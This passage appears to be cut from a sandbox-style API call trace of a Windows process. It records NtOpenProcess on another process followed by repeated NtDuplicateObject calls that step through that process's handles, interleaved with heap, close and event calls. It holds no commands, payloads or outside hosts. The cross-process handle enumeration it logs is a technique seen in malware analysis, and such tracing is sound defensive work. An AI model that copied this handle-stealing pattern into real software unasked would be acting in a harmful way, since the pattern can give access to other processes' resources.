Flags=0x8, Size=0x80) returned 0x4aef28 [0259.170] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.170] NtClose (Handle=0x1c8) returned 0x0 [0259.170] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x38, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.170] ResetEvent (hEvent=0x114) returned 1 [0259.170] SetEvent (hEvent=0x110) returned 1 [0259.170] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.171] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.171] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.171] NtClose (Handle=0x1c8) returned 0x0 [0259.171] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x3c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.171] ResetEvent (hEvent=0x114) returned 1 [0259.171] SetEvent (hEvent=0x110) returned 1 [0259.171] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.172] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.172] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.172] NtClose (Handle=0x1c8) returned 0x0 [0259.172] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x40, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.172] ResetEvent (hEvent=0x114) returned 1 [0259.172] SetEvent (hEvent=0x110) returned 1 [0259.172] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.172] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.172] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.172] NtClose (Handle=0x1c8) returned 0x0 [0259.172] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x44, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.172] ResetEvent (hEvent=0x114) returned 1 [0259.173] SetEvent (hEvent=0x110) returned 1 [0259.173] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.173] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.173] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.173] NtClose (Handle=0x1c8) returned 0x0 [0259.173] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x48, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.173] ResetEvent (hEvent=0x114) returned 1 [0259.173] SetEvent (hEvent=0x110) returned 1 [0259.173] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.174] NtClose (Handle=0x1c8) returned 0x0 [0259.174] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x4c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.174] ResetEvent (hEvent=0x114) returned 1 [0259.174] SetEvent (hEvent=0x110) returned 1 [0259.174] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.174] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.174] NtClose (Handle=0x1c8) returned 0x0 [0259.174] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x50, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.174] ResetEvent (hEvent=0x114) returned 1 [0259.174] SetEvent (hEvent=0x110) returned 1 [0259.174] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.175] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.175] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.175] NtClose (Handle=0x1c8) returned 0x0 [0259.175] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x54, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.175] ResetEvent (hEvent=0x114) returned 1 [0259.175] SetEvent (hEvent=0x110) returned 1 [0259.175] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.176] NtClose (Handle=0x1c8) returned 0x0 [0259.176] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x58, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.176] ResetEvent (hEvent=0x114) returned 1 [0259.176] SetEvent (hEvent=0x110) returned 1 [0259.176] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.176] NtClose (Handle=0x1c8) returned 0x0 [0259.176] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x5c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.176] ResetEvent (hEvent=0x114) returned 1 [0259.177] SetEvent (hEvent=0x110) returned 1 [0259.177] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.177] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.177] NtClose (Handle=0x1c8) returned 0x0 [0259.177] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x60, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.177] ResetEvent (hEvent=0x114) returned 1 [0259.177] SetEvent (hEvent=0x110) returned 1 [0259.177] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.178] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.178] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.178] NtClose (Handle=0x1c8) returned 0x0 [0259.178] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x64, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.178] ResetEvent (hEvent=0x114) returned 1 [0259.178] SetEvent (hEvent=0x110) returned 1 [0259.178] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.178] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.178] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.178] NtClose (Handle=0x1c8) returned 0x0 [0259.178] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x68, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.178] ResetEvent (hEvent=0x114) returned 1 [0259.179] SetEvent (hEvent=0x110) returned 1 [0259.179] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.179] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.179] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.179] NtClose (Handle=0x1c8) returned 0x0 [0259.179] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x6c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.179] ResetEvent (hEvent=0x114) returned 1 [0259.179] SetEvent (hEvent=0x110) returned 1 [0259.179] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.180] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.180] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.180] NtClose (Handle=0x1c8) returned 0x0 [0259.180] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x70, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.180] ResetEvent (hEvent=0x114) returned 1 [0259.180] SetEvent (hEvent=0x110) returned 1 [0259.180] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.180] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.180] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.180] NtClose (Handle=0x1c8) returned 0x0 [0259.180] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x74, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c8) returned 0x0 [0259.180] ResetEvent (hEvent=0x114) returned 1 [0259.180] SetEvent (hEvent=0x110) returned 1 [0259.181] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.181] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.181] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aef28) returned 1 [0259.181] NtClose (Handle=0x1c8) returned 0x0 [0259.181] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x8f2aa8 [0259.181] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aef28 [0259.181] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f9470 [0259.181] NtOpenProcess (in: ProcessHandle=0x15ffa8c, DesiredAccess=0xc48, ObjectAttributes=0x15ffa98*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x15ffa90*(UniqueProcess=0x12c, UniqueThread=0x0) | out: ProcessHandle=0x15ffa8c*=0x1c8) returned 0x0 [0259.181] GetExitCodeProcess (in: hProcess=0x1c8, lpExitCode=0x15ffab4 | out: lpExitCode=0x15ffab4*=0x103) returned 1 [0259.181] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.181] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.181] ResetEvent (hEvent=0x114) returned 1 [0259.181] SetEvent (hEvent=0x110) returned 1 [0259.181] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.182] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.182] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.182] NtClose (Handle=0x1c4) returned 0x0 [0259.182] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0xc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.182] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x10, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc00000bb [0259.182] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x14, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.182] ResetEvent (hEvent=0x114) returned 1 [0259.182] SetEvent (hEvent=0x110) returned 1 [0259.182] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.183] NtClose (Handle=0x1c4) returned 0x0 [0259.183] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x18, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.183] ResetEvent (hEvent=0x114) returned 1 [0259.183] SetEvent (hEvent=0x110) returned 1 [0259.183] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.183] NtClose (Handle=0x1c4) returned 0x0 [0259.183] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.183] ResetEvent (hEvent=0x114) returned 1 [0259.184] SetEvent (hEvent=0x110) returned 1 [0259.184] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.184] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.184] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.184] NtClose (Handle=0x1c4) returned 0x0 [0259.184] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x20, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.184] ResetEvent (hEvent=0x114) returned 1 [0259.184] SetEvent (hEvent=0x110) returned 1 [0259.184] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.185] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.185] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.185] NtClose (Handle=0x1c4) returned 0x0 [0259.185] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x24, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.185] ResetEvent (hEvent=0x114) returned 1 [0259.185] SetEvent (hEvent=0x110) returned 1 [0259.185] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.185] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.185] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.185] NtClose (Handle=0x1c4) returned 0x0 [0259.185] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x28, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.185] ResetEvent (hEvent=0x114) returned 1 [0259.185] SetEvent (hEvent=0x110) returned 1 [0259.185] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.186] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.186] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.186] NtClose (Handle=0x1c4) returned 0x0 [0259.186] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.186] ResetEvent (hEvent=0x114) returned 1 [0259.186] SetEvent (hEvent=0x110) returned 1 [0259.186] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.187] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.187] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.187] NtClose (Handle=0x1c4) returned 0x0 [0259.187] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x30, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.187] ResetEvent (hEvent=0x114) returned 1 [0259.187] SetEvent (hEvent=0x110) returned 1 [0259.187] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.187] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.187] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.187] NtClose (Handle=0x1c4) returned 0x0 [0259.187] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x34, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.187] ResetEvent (hEvent=0x114) returned 1 [0259.187] SetEvent (hEvent=0x110) returned 1 [0259.187] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.188] NtClose (Handle=0x1c4) returned 0x0 [0259.188] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x38, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.188] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x3c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.188] ResetEvent (hEvent=0x114) returned 1 [0259.188] SetEvent (hEvent=0x110) returned 1 [0259.188] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.189] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.189] NtClose (Handle=0x1c4) returned 0x0 [0259.189] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x40, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.189] ResetEvent (hEvent=0x114) returned 1 [0259.189] SetEvent (hEvent=0x110) returned 1 [0259.189] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.189] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.189] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.189] NtClose (Handle=0x1c4) returned 0x0 [0259.189] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x44, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.189] ResetEvent (hEvent=0x114) returned 1 [0259.189] SetEvent (hEvent=0x110) returned 1 [0259.189] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.190] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.190] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.190] NtClose (Handle=0x1c4) returned 0x0 [0259.190] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x48, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.190] ResetEvent (hEvent=0x114) returned 1 [0259.190] SetEvent (hEvent=0x110) returned 1 [0259.190] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.193] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.193] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.193] NtClose (Handle=0x1c4) returned 0x0 [0259.193] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x4c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.193] ResetEvent (hEvent=0x114) returned 1 [0259.193] SetEvent (hEvent=0x110) returned 1 [0259.193] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.194] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.194] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.194] NtClose (Handle=0x1c4) returned 0x0 [0259.194] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x50, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.194] ResetEvent (hEvent=0x114) returned 1 [0259.194] SetEvent (hEvent=0x110) returned 1 [0259.194] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.194] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.194] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.194] NtClose (Handle=0x1c4) returned 0x0 [0259.195] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x54, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.195] ResetEvent (hEvent=0x114) returned 1 [0259.195] SetEvent (hEvent=0x110) returned 1 [0259.195] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.195] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.195] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.195] NtClose (Handle=0x1c4) returned 0x0 [0259.195] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x58, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.195] ResetEvent (hEvent=0x114) returned 1 [0259.195] SetEvent (hEvent=0x110) returned 1 [0259.195] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.196] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.196] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.196] NtClose (Handle=0x1c4) returned 0x0 [0259.196] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x5c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.196] ResetEvent (hEvent=0x114) returned 1 [0259.196] SetEvent (hEvent=0x110) returned 1 [0259.196] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.196] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.196] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.196] NtClose (Handle=0x1c4) returned 0x0 [0259.196] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x60, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.196] ResetEvent (hEvent=0x114) returned 1 [0259.196] SetEvent (hEvent=0x110) returned 1 [0259.197] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.197] NtClose (Handle=0x1c4) returned 0x0 [0259.197] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x64, TargetProcessHandle=0xffffffff, 